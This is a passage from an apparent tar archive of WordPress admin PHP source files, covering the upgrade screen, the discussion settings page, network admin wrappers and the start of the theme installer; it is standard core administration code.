class="code"><?php echo esc_html( $option->option_name ); ?></label></th> <?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ), true ) ) { ?> <td><code><?php echo esc_html( $option->option_value ); ?></code></td> <?php } else { ?> <td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ); ?>]" type="text" id="<?php echo esc_attr( $option->option_name ); ?>" value="<?php echo esc_attr( $option->option_value ); ?>" size="40" <?php disabled( $disabled ); ?> /></td> <?php } ?> </tr> <?php } } // End foreach. /** * Fires at the end of the Edit Site form, before the submit button. * * @since 3.0.0 * * @param int $id Site ID. */ do_action( 'wpmueditblogaction', $id ); ?> </table> <?php submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; network/plugins.php 0000644 00000000371 15233246127 0010435 0 ustar 00 <?php /** * Network Plugins administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/plugins.php'; network/plugin-editor.php 0000644 00000000412 15233246127 0011532 0 ustar 00 <?php /** * Plugin file editor network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/plugin-editor.php'; network/privacy.php 0000644 00000000371 15233246127 0010431 0 ustar 00 <?php /** * Network Privacy administration panel. * * @package WordPress * @subpackage Multisite * @since 4.9.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/privacy.php'; upgrade.php 0000644 00000014366 15233246127 0006723 0 ustar 00 <?php /** * Upgrade WordPress Page. * * @package WordPress * @subpackage Administration */ /** * We are upgrading WordPress. * * @since 1.5.1 * @var bool */ define( 'WP_INSTALLING', true ); /** Load WordPress Bootstrap */ require dirname( __DIR__ ) . '/wp-load.php'; nocache_headers(); require_once ABSPATH . 'wp-admin/includes/upgrade.php'; delete_site_transient( 'update_core' ); $step = $_GET['step'] ?? 0; // Do it. No output. if ( 'upgrade_db' === $step ) { wp_upgrade(); die( '0' ); } /** * @global string $wp_version The WordPress version string. * @global string $required_php_version The minimum required PHP version string. * @global string[] $required_php_extensions The names of required PHP extensions. * @global string $required_mysql_version The minimum required MySQL version string. * @global wpdb $wpdb WordPress database abstraction object. */ global $wp_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wpdb; $step = (int) $step; $php_version = PHP_VERSION; $mysql_version = $wpdb->db_version(); $php_compat = version_compare( $php_version, $required_php_version, '>=' ); if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) { $mysql_compat = true; } else { $mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ); } $missing_extensions = array(); if ( isset( $required_php_extensions ) && is_array( $required_php_extensions ) ) { foreach ( $required_php_extensions as $extension ) { if ( extension_loaded( $extension ) ) { continue; } $missing_extensions[] = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: The PHP extension name needed. */ __( 'You cannot upgrade because <a href="%1$s">WordPress %2$s</a> requires the %3$s PHP extension.' ), $version_url, $wp_version, $extension ); } } header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) ); ?> <!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" /> <meta name="robots" content="noindex,nofollow" /> <title><?php _e( 'WordPress › Update' ); ?></title> <?php wp_admin_css( 'install', true ); ?> </head> <body class="wp-core-ui admin-color-modern"> <p id="logo"><?php _e( 'WordPress' ); ?></p> <?php if ( (int) get_option( 'db_version' ) === $wp_db_version || ! is_blog_installed() ) : ?> <h1><?php _e( 'No Update Required' ); ?></h1> <p><?php _e( 'Your WordPress database is already up to date!' ); ?></p> <p class="step"><a class="button button-large" href="<?php echo esc_url( get_option( 'home' ) ); ?>/"><?php _e( 'Continue' ); ?></a></p> <?php elseif ( ! $php_compat || ! $mysql_compat ) : $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $php_update_message = '</p><p>' . sprintf( /* translators: %s: URL to Update PHP page. */ __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); $annotation = wp_get_update_php_annotation(); if ( $annotation ) { $php_update_message .= '</p><p><em>' . $annotation . '</em>'; } if ( ! $mysql_compat && ! $php_compat ) { $message = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */ __( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ), $version_url, $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) . $php_update_message; } elseif ( ! $php_compat ) { $message = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */ __( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_php_version, $php_version ) . $php_update_message; } elseif ( ! $mysql_compat ) { $message = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */ __( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_mysql_version, $mysql_version ); } echo '<p>' . $message . '</p>'; elseif ( count( $missing_extensions ) > 0 ) : echo '<p>' . implode( '</p><p>', $missing_extensions ) . '</p>'; else : switch ( $step ) : case 0: $goback = wp_get_referer(); if ( $goback ) { $goback = sanitize_url( $goback ); $goback = urlencode( $goback ); } ?> <h1><?php _e( 'Database Update Required' ); ?></h1> <p><?php _e( 'WordPress has been updated! Next and final step is to update your database to the newest version.' ); ?></p> <p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p> <p class="step"><a class="button button-large button-primary" href="upgrade.php?step=1&backto=<?php echo $goback; ?>"><?php _e( 'Update WordPress Database' ); ?></a></p> <?php break; case 1: wp_upgrade(); $backto = ! empty( $_GET['backto'] ) ? wp_unslash( urldecode( $_GET['backto'] ) ) : __get_option( 'home' ) . '/'; $backto = esc_url( $backto ); $backto = wp_validate_redirect( $backto, __get_option( 'home' ) . '/' ); ?> <h1><?php _e( 'Update Complete' ); ?></h1> <p><?php _e( 'Your WordPress database has been successfully updated!' ); ?></p> <p class="step"><a class="button button-large" href="<?php echo $backto; ?>"><?php _e( 'Continue' ); ?></a></p> <?php break; endswitch; endif; ?> </body> </html> options-discussion.php 0000644 00000037651 15233246127 0011152 0 ustar 00 <?php /** * Discussion settings administration panel. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_options' ) ) { wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) ); } // Used in the HTML title tag. $title = __( 'Discussion Settings' ); $parent_file = 'options-general.php'; add_action( 'admin_print_footer_scripts', 'options_discussion_add_js' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This screen provides many options for controlling the management and display of comments and links to your posts/pages. So many, in fact, they will not all fit here! :) Use the documentation links to get information on what each discussion setting does.' ) . '</p>' . '<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-discussion-screen/">Documentation on Discussion Settings</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <form method="post" action="options.php"> <?php settings_fields( 'discussion' ); ?> <table class="form-table indent-children" role="presentation"> <?php $default_post_settings_title = __( 'Default post settings' ); ?> <tr> <th scope="row"><?php echo $default_post_settings_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $default_post_settings_title; ?></span></legend> <label for="default_pingback_flag"> <input name="default_pingback_flag" type="checkbox" id="default_pingback_flag" value="1" <?php checked( '1', get_option( 'default_pingback_flag' ) ); ?> /> <?php _e( 'Attempt to notify any blogs linked to from the post' ); ?></label> <br /> <label for="default_ping_status"> <input name="default_ping_status" type="checkbox" id="default_ping_status" value="open" <?php checked( 'open', get_option( 'default_ping_status' ) ); ?> /> <?php _e( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new posts' ); ?></label> <br /> <label for="default_comment_status"> <input name="default_comment_status" type="checkbox" id="default_comment_status" value="open" <?php checked( 'open', get_option( 'default_comment_status' ) ); ?> /> <?php _e( 'Allow people to submit comments on new posts' ); ?></label> <br /> <p class="description"><?php _e( 'Individual posts may override these settings. Changes here will only be applied to new posts.' ); ?></p> </fieldset></td> </tr> <?php $other_comment_settings_title = __( 'Other comment settings' ); ?> <tr> <th scope="row"><?php echo $other_comment_settings_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $other_comment_settings_title; ?></span></legend> <label for="require_name_email"><input type="checkbox" name="require_name_email" id="require_name_email" value="1" <?php checked( '1', get_option( 'require_name_email' ) ); ?> /> <?php _e( 'Comment author must fill out name and email' ); ?></label> <br /> <label for="comment_registration"> <input name="comment_registration" type="checkbox" id="comment_registration" value="1" <?php checked( '1', get_option( 'comment_registration' ) ); ?> /> <?php _e( 'Users must be registered and logged in to comment' ); ?> <?php if ( ! get_option( 'users_can_register' ) && is_multisite() ) { echo ' ' . __( '(Signup has been disabled. Only members of this site can comment.)' ); } ?> </label> <br /> <input name="close_comments_for_old_posts" type="checkbox" id="close_comments_for_old_posts" value="1" <?php checked( '1', get_option( 'close_comments_for_old_posts' ) ); ?> /> <label for="close_comments_for_old_posts"><?php _e( 'Automatically close comments on old posts' ); ?></label> <ul> <li> <label for="close_comments_days_old"><?php _e( 'Close comments when post is how many days old' ); ?></label> <input name="close_comments_days_old" type="number" step="1" min="0" id="close_comments_days_old" value="<?php echo esc_attr( get_option( 'close_comments_days_old' ) ); ?>" class="small-text" /> </li> </ul> <input name="show_comments_cookies_opt_in" type="checkbox" id="show_comments_cookies_opt_in" value="1" <?php checked( '1', get_option( 'show_comments_cookies_opt_in' ) ); ?> /> <label for="show_comments_cookies_opt_in"><?php _e( 'Show comments cookies opt-in checkbox, allowing comment author cookies to be set' ); ?></label> <br /> <input name="thread_comments" type="checkbox" id="thread_comments" value="1" <?php checked( '1', get_option( 'thread_comments' ) ); ?> /> <label for="thread_comments"><?php _e( 'Enable threaded (nested) comments' ); ?></label> <?php /** * Filters the maximum depth of threaded/nested comments. * * @since 2.7.0 * * @param int $max_depth The maximum depth of threaded comments. Default 10. */ $maxdeep = (int) apply_filters( 'thread_comments_depth_max', 10 ); $thread_comments_depth = '<select name="thread_comments_depth" id="thread_comments_depth">'; for ( $i = 2; $i <= $maxdeep; $i++ ) { $thread_comments_depth .= "<option value='" . esc_attr( $i ) . "'"; if ( (int) get_option( 'thread_comments_depth' ) === $i ) { $thread_comments_depth .= " selected='selected'"; } $thread_comments_depth .= ">$i</option>"; } $thread_comments_depth .= '</select>'; ?> <ul> <li> <label for="thread_comments_depth"><?php _e( 'Number of levels for threaded (nested) comments' ); ?></label> <?php echo $thread_comments_depth; ?> </li> </ul> </fieldset></td> </tr> <?php $comment_pagination_title = __( 'Comment Pagination' ); ?> <tr> <th scope="row"><?php echo $comment_pagination_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $comment_pagination_title; ?></span></legend> <input name="page_comments" type="checkbox" id="page_comments" value="1" <?php checked( '1', get_option( 'page_comments' ) ); ?> /> <label for="page_comments"><?php _e( 'Break comments into pages' ); ?></label> <ul> <li> <label for="comments_per_page"><?php _e( 'Top level comments per page' ); ?></label> <input name="comments_per_page" type="number" step="1" min="0" id="comments_per_page" value="<?php echo esc_attr( get_option( 'comments_per_page' ) ); ?>" class="small-text" /> </li> <li> <label for="default_comments_page"><?php _e( 'Comments page to display by default' ); ?></label> <select name="default_comments_page" id="default_comments_page"> <option value="newest" <?php selected( 'newest', get_option( 'default_comments_page' ) ); ?>><?php _e( 'last page' ); ?></option> <option value="oldest" <?php selected( 'oldest', get_option( 'default_comments_page' ) ); ?>><?php _e( 'first page' ); ?></option> </select> </li> <li> <label for="comment_order"><?php _e( 'Comments to display at the top of each page' ); ?></label> <select name="comment_order" id="comment_order"> <option value="asc" <?php selected( 'asc', get_option( 'comment_order' ) ); ?>><?php _e( 'older' ); ?></option> <option value="desc" <?php selected( 'desc', get_option( 'comment_order' ) ); ?>><?php _e( 'newer' ); ?></option> </select> </li> </ul> </fieldset></td> </tr> <?php $email_me_whenever_title = __( 'Email me whenever' ); ?> <tr> <th scope="row"><?php echo $email_me_whenever_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $email_me_whenever_title; ?></span></legend> <label for="comments_notify"> <input name="comments_notify" type="checkbox" id="comments_notify" value="1" <?php checked( '1', get_option( 'comments_notify' ) ); ?> /> <?php _e( 'Anyone posts a comment' ); ?> </label> <br /> <label for="moderation_notify"> <input name="moderation_notify" type="checkbox" id="moderation_notify" value="1" <?php checked( '1', get_option( 'moderation_notify' ) ); ?> /> <?php _e( 'A comment is held for moderation' ); ?> </label> <br /> <label for="wp_notes_notify"> <input name="wp_notes_notify" type="checkbox" id="wp_notes_notify" value="1" <?php checked( '1', get_option( 'wp_notes_notify', 1 ) ); ?> /> <?php _e( 'Anyone posts a note' ); ?> </label> </fieldset></td> </tr> <?php $before_comment_appears_title = __( 'Before a comment appears' ); ?> <tr> <th scope="row"><?php echo $before_comment_appears_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $before_comment_appears_title; ?></span></legend> <label for="comment_moderation"> <input name="comment_moderation" type="checkbox" id="comment_moderation" value="1" <?php checked( '1', get_option( 'comment_moderation' ) ); ?> /> <?php _e( 'Comment must be manually approved' ); ?> </label> <br /> <label for="comment_previously_approved"><input type="checkbox" name="comment_previously_approved" id="comment_previously_approved" value="1" <?php checked( '1', get_option( 'comment_previously_approved' ) ); ?> /> <?php _e( 'Comment author must have a previously approved comment' ); ?></label> </fieldset></td> </tr> <?php $comment_moderation_title = __( 'Comment Moderation' ); ?> <tr> <th scope="row"><?php echo $comment_moderation_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $comment_moderation_title; ?></span></legend> <p><label for="comment_max_links"> <?php printf( /* translators: %s: Number of links. */ __( 'Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)' ), '<input name="comment_max_links" type="number" step="1" min="0" id="comment_max_links" value="' . esc_attr( get_option( 'comment_max_links' ) ) . '" class="small-text" />' ); ?> </label></p> <p><label for="moderation_keys"><?php _e( 'When a comment contains any of these words in its content, author name, URL, email, IP address, or browser’s user agent string, it will be held in the <a href="edit-comments.php?comment_status=moderated">moderation queue</a>. One word or IP address per line. It will match inside words, so “press” will match “WordPress”.' ); ?></label></p> <p> <textarea name="moderation_keys" rows="10" cols="50" id="moderation_keys" class="large-text code"><?php echo esc_textarea( get_option( 'moderation_keys' ) ); ?></textarea> </p> </fieldset></td> </tr> <?php $disallowed_comment_keys_title = __( 'Disallowed Comment Keys' ); ?> <tr> <th scope="row"><?php echo $disallowed_comment_keys_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $disallowed_comment_keys_title; ?></span></legend> <p><label for="disallowed_keys"><?php _e( 'When a comment contains any of these words in its content, author name, URL, email, IP address, or browser’s user agent string, it will be put in the Trash. One word or IP address per line. It will match inside words, so “press” will match “WordPress”.' ); ?></label></p> <p> <textarea name="disallowed_keys" rows="10" cols="50" id="disallowed_keys" class="large-text code"><?php echo esc_textarea( get_option( 'disallowed_keys' ) ); ?></textarea> </p> </fieldset></td> </tr> <?php do_settings_fields( 'discussion', 'default' ); ?> </table> <h2 class="title"><?php _e( 'Avatars' ); ?></h2> <p><?php _e( 'An avatar is an image that can be associated with a user across multiple websites. In this area, you can choose to display avatars of users who interact with the site.' ); ?></p> <?php // The above would be a good place to link to the documentation on the Gravatar functions, for putting it in themes. Anything like that? $show_avatars = get_option( 'show_avatars' ); $show_avatars_class = ''; if ( ! $show_avatars ) { $show_avatars_class = ' hide-if-js'; } ?> <table class="form-table" role="presentation"> <tr> <th scope="row"><?php _e( 'Avatar Display' ); ?></th> <td> <label for="show_avatars"> <input type="checkbox" id="show_avatars" name="show_avatars" value="1" <?php checked( $show_avatars, 1 ); ?> /> <?php _e( 'Show Avatars' ); ?> </label> </td> </tr> <?php $maximum_rating_title = __( 'Maximum Rating' ); ?> <tr class="avatar-settings<?php echo $show_avatars_class; ?>"> <th scope="row"><?php echo $maximum_rating_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $maximum_rating_title; ?></span></legend> <?php $ratings = array( /* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */ 'G' => __( 'G — Suitable for all audiences' ), /* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */ 'PG' => __( 'PG — Possibly offensive, usually for audiences 13 and above' ), /* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */ 'R' => __( 'R — Intended for adult audiences above 17' ), /* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */ 'X' => __( 'X — Even more mature than above' ), ); foreach ( $ratings as $key => $rating ) : $selected = ( get_option( 'avatar_rating' ) === $key ) ? 'checked="checked"' : ''; echo "\n\t<label><input type='radio' name='avatar_rating' value='" . esc_attr( $key ) . "' $selected/> $rating</label><br />"; endforeach; ?> </fieldset></td> </tr> <?php $default_avatar_title = __( 'Default Avatar' ); ?> <tr class="avatar-settings<?php echo $show_avatars_class; ?>"> <th scope="row"><?php echo $default_avatar_title; ?></th> <td class="defaultavatarpicker"><fieldset><legend class="screen-reader-text"><span><?php echo $default_avatar_title; ?></span></legend> <p> <?php _e( 'For users without a custom avatar of their own, you can either display a generic logo or a generated one based on their email address.' ); ?><br /> </p> <?php $avatar_defaults = array( 'mystery' => __( 'Mystery Person' ), 'blank' => __( 'Blank' ), 'gravatar_default' => __( 'Gravatar Logo' ), 'identicon' => __( 'Identicon (Generated)' ), 'wavatar' => __( 'Wavatar (Generated)' ), 'monsterid' => __( 'MonsterID (Generated)' ), 'retro' => __( 'Retro (Generated)' ), 'robohash' => __( 'RoboHash (Generated)' ), 'initials' => __( 'Initials (Generated)' ), 'color' => __( 'Color (Generated)' ), ); /** * Filters the default avatars. * * Avatars are stored in key/value pairs, where the key is option value, * and the name is the displayed avatar name. * * @since 2.6.0 * * @param string[] $avatar_defaults Associative array of default avatars. */ $avatar_defaults = apply_filters( 'avatar_defaults', $avatar_defaults ); $default = get_option( 'avatar_default', 'mystery' ); $avatar_list = ''; // Force avatars on to display these choices. add_filter( 'pre_option_show_avatars', '__return_true', 100 ); foreach ( $avatar_defaults as $default_key => $default_name ) { $selected = ( $default === $default_key ) ? 'checked="checked" ' : ''; $avatar_list .= "\n\t<label><input type='radio' name='avatar_default' id='avatar_{$default_key}' value='" . esc_attr( $default_key ) . "' {$selected}/> "; $avatar_list .= get_avatar( $user_email, 32, $default_key, '', array( 'force_default' => true ) ); $avatar_list .= ' ' . $default_name . '</label>'; $avatar_list .= '<br />'; } remove_filter( 'pre_option_show_avatars', '__return_true', 100 ); /** * Filters the HTML output of the default avatar list. * * @since 2.6.0 * * @param string $avatar_list HTML markup of the avatar list. */ echo apply_filters( 'default_avatar_select', $avatar_list ); ?> </fieldset></td> </tr> <?php do_settings_fields( 'discussion', 'avatars' ); ?> </table> <?php do_settings_sections( 'discussion' ); ?> <?php submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> theme-install.php 0000644 00000057236 15233246127 0010045 0 ustar 00 <?php /** * Install theme administration panel. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/includes/theme-install.php'; $tab = ! empty( $_REQUEST['tab'] ) ? sanitize_text_field( $_REQUEST['tab'] ) : ''; if ( ! current_user_can( 'install_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) ); } if ( is_multisite() && ! is_network_admin() ) { wp_redirect( network_admin_url( 'theme-install.php' ) ); exit; } // Used in the HTML title tag. $title = __( 'Add Themes' ); $parent_file = 'themes.php'; if ( ! is_network_admin() ) { $submenu_file = 'themes.php'; } $installed_themes = search_theme_directories(); if ( false === $installed_themes ) { $installed_themes = array(); } foreach ( $installed_themes as $theme_slug => $theme_data ) { // Ignore child themes. if ( str_contains( $theme_slug, '/' ) ) { unset( $installed_themes[ $theme_slug ] ); } } wp_localize_script( 'theme', '_wpThemeSettings', array( 'themes' => false, 'settings' => array( 'isInstall' => true, 'canInstall' => current_user_can( 'install_themes' ), 'installURI' => current_user_can( 'install_themes' ) ? self_admin_url( 'theme-install.php' ) : null, 'adminUrl' => parse_url( self_admin_url(), PHP_URL_PATH ), ), 'l10n' => array( 'addNew' => __( 'Add Theme' ), 'search' => __( 'Search Themes' ), 'upload' => __( 'Upload Theme' ), 'back' => __( 'Back' ), 'error' => sprintf( /* translators: %s: Support forums URL. */ __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ), __( 'https://wordpress.org/support/forums/' ) ), 'tryAgain' => __( 'Try Again' ), /* translators: %d: Number of themes. */ 'themesFound' => __( 'Number of Themes found: %d' ), 'noThemesFound' => __( 'No themes found. Try a different search.' ), 'collapseSidebar' => __( 'Collapse Sidebar' ), 'expandSidebar' => __( 'Expand Sidebar' ), /* translators: Hidden accessibility text. */ 'selectFeatureFilter' => __( 'Select one or more Theme features to filter by' ), ), 'installedThemes' => array_keys( $installed_themes ), 'activeTheme' => get_stylesheet(), ) ); wp_enqueue_script( 'theme' ); wp_enqueue_script( 'updates' ); if ( $tab ) { /** * Fires before each of the tabs are rendered on the Install Themes page. * * The dynamic portion of the hook name, `$tab`, refers to the current * theme installation tab. * * Possible hook names include: * * - `install_themes_pre_block-themes` * - `install_themes_pre_dashboard` * - `install_themes_pre_featured` * - `install_themes_pre_new` * - `install_themes_pre_search` * - `install_themes_pre_updated` * - `install_themes_pre_upload` * * @since 2.8.0 * @since 6.1.0 Added the `install_themes_pre_block-themes` hook name. */ do_action( "install_themes_pre_{$tab}" ); } $help_overview = '<p>' . sprintf( /* translators: %s: Theme Directory URL. */ __( 'You can find additional themes for your site by using the Theme Browser/Installer on this screen, which will display themes from the <a href="%s">WordPress Theme Directory</a>. These themes are designed and developed by third parties, are available free of charge, and are compatible with the license WordPress uses.' ), __( 'https://wordpress.org/themes/' ) ) . '</p>' . '<p>' . __( 'You can Search for themes by keyword, author, or tag, or can get more specific and search by criteria listed in the feature filter.' ) . ' <span id="live-search-desc">' . __( 'The search results will be updated as you type.' ) . '</span></p>' . '<p>' . __( 'Alternately, you can browse the themes that are Popular or Latest. When you find a theme you like, you can preview it or install it.' ) . '</p>' . '<p>' . sprintf( /* translators: %s: /wp-content/themes */ __( 'You can Upload a theme manually if you have already downloaded its ZIP archive onto your computer (make sure it is from a trusted and original source). You can also do it the old-fashioned way and copy a downloaded theme’s folder via FTP into your %s directory.' ), '<code>/wp-content/themes</code>' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help_overview, ) ); $help_installing = '<p>' . __( 'Once you have generated a list of themes, you can preview and install any of them. Click on the thumbnail of the theme you are interested in previewing. It will open up in a full-screen Preview page to give you a better idea of how that theme will look.' ) . '</p>' . '<p>' . __( 'To install the theme so you can preview it with your site’s content and customize its theme options, click the "Install" button at the top of the left-hand pane. The theme files will be downloaded to your website automatically. When this is complete, the theme is now available for activation, which you can do by clicking the "Activate" link, or by navigating to your Manage Themes screen and clicking the "Live Preview" link under any installed theme’s thumbnail image.' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'installing', 'title' => __( 'Previewing and Installing' ), 'content' => $help_installing, ) ); // Help tab: Block themes. $help_block_themes = '<p>' . __( 'A block theme is a theme that uses blocks for all parts of a site including navigation menus, header, content, and site footer. These themes are built for the features that allow you to edit and customize all parts of your site.' ) . '</p>' . '<p>' . __( 'With a block theme, you can place and edit blocks without affecting your content by customizing or creating new templates.' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'block_themes', 'title' => __( 'Block themes' ), 'content' => $help_block_themes, ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-themes-screen/#install-themes">Documentation on Adding New Themes</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/block-themes/">Documentation on Block Themes</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1> <?php /** * Filters the tabs shown on the Add Themes screen. * * This filter is for backward compatibility only, for the suppression of the upload tab. * * @since 2.8.0 * * @param string[] $tabs Associative array of the tabs shown on the Add Themes screen. Default is 'upload'. */ $tabs = apply_filters( 'install_themes_tabs', array( 'upload' => __( 'Upload Theme' ) ) ); if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_themes' ) ) { echo ' <button type="button" class="upload-view-toggle page-title-action hide-if-no-js" aria-expanded="false">' . __( 'Upload Theme' ) . '</button>'; } ?> <hr class="wp-header-end"> <?php wp_admin_notice( __( 'The Theme Installer screen requires JavaScript.' ), array( 'additional_classes' => array( 'error', 'hide-if-js' ), ) ); ?> <div class="upload-theme"> <?php install_themes_upload(); ?> </div> <h2 class="screen-reader-text hide-if-no-js"> <?php /* translators: Hidden accessibility text. */ _e( 'Filter themes list' ); ?> </h2> <div class="wp-filter hide-if-no-js"> <div class="filter-count"> <span class="count theme-count"></span> </div> <ul class="filter-links"> <li><a href="#" data-sort="popular"><?php _ex( 'Popular', 'themes' ); ?></a></li> <li><a href="#" data-sort="new"><?php _ex( 'Latest', 'themes' ); ?></a></li> <li><a href="#" data-sort="block-themes"><?php _ex( 'Block Themes', 'themes' ); ?></a></li> <li><a href="#" data-sort="favorites"><?php _ex( 'Favorites', 'themes' ); ?></a></li> </ul> <button type="button" class="button drawer-toggle" aria-expanded="false"><?php _e( 'Feature Filter' ); ?></button> <form class="search-form"><p class="search-box"></p></form> <div class="favorites-form"> <?php $action = 'save_wporg_username_' . get_current_user_id(); if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) { $user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' ); update_user_meta( get_current_user_id(), 'wporg_favorites', $user ); } else { $user = get_user_option( 'wporg_favorites' ); } ?> <p class="install-help"><?php _e( 'If you have marked themes as favorites on WordPress.org, you can browse them here.' ); ?></p> <p class="favorites-username"> <label for="wporg-username-input"><?php _e( 'Your WordPress.org username:' ); ?></label> <input type="hidden" id="wporg-username-nonce" name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( $action ) ); ?>" /> <input type="search" id="wporg-username-input" value="<?php echo esc_attr( $user ); ?>" /> <input type="button" class="button favorites-form-submit" value="<?php esc_attr_e( 'Get Favorites' ); ?>" /> </p> </div> <div class="filter-drawer"> <div class="buttons"> <button type="button" class="apply-filters button"><?php _e( 'Apply Filters' ); ?><span></span></button> <button type="button" class="clear-filters button" aria-label="<?php esc_attr_e( 'Clear current filters' ); ?>"><?php _e( 'Clear' ); ?></button> </div> <?php // Use the core list, rather than the .org API, due to inconsistencies // and to ensure tags are translated. $feature_list = get_theme_feature_list( false ); foreach ( $feature_list as $feature_group => $features ) { echo '<fieldset class="filter-group">'; echo '<legend>' . esc_html( $feature_group ) . '</legend>'; echo '<div class="filter-group-feature">'; foreach ( $features as $feature => $feature_name ) { $feature = esc_attr( $feature ); echo '<input type="checkbox" id="filter-id-' . $feature . '" value="' . $feature . '" /> '; echo '<label for="filter-id-' . $feature . '">' . esc_html( $feature_name ) . '</label>'; } echo '</div>'; echo '</fieldset>'; } ?> <div class="buttons"> <button type="button" class="apply-filters button"><?php _e( 'Apply Filters' ); ?><span></span></button> <button type="button" class="clear-filters button" aria-label="<?php esc_attr_e( 'Clear current filters' ); ?>"><?php _e( 'Clear' ); ?></button> </div> <div class="filtered-by"> <span><?php _e( 'Filtering by:' ); ?></span> <div class="tags"></div> <button type="button" class="button-link edit-filters"><?php _e( 'Edit Filters' ); ?></button> </div> </div> </div> <h2 class="screen-reader-text hide-if-no-js"> <?php /* translators: Hidden accessibility text. */ _e( 'Themes list' ); ?> </h2> <div class="theme-browser content-filterable"></div> <div class="theme-install-overlay wp-full-overlay expanded"></div> <p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p> <span class="spinner"></span> <?php if ( $tab ) { /** * Fires at the top of each of the tabs on the Install Themes page. * * 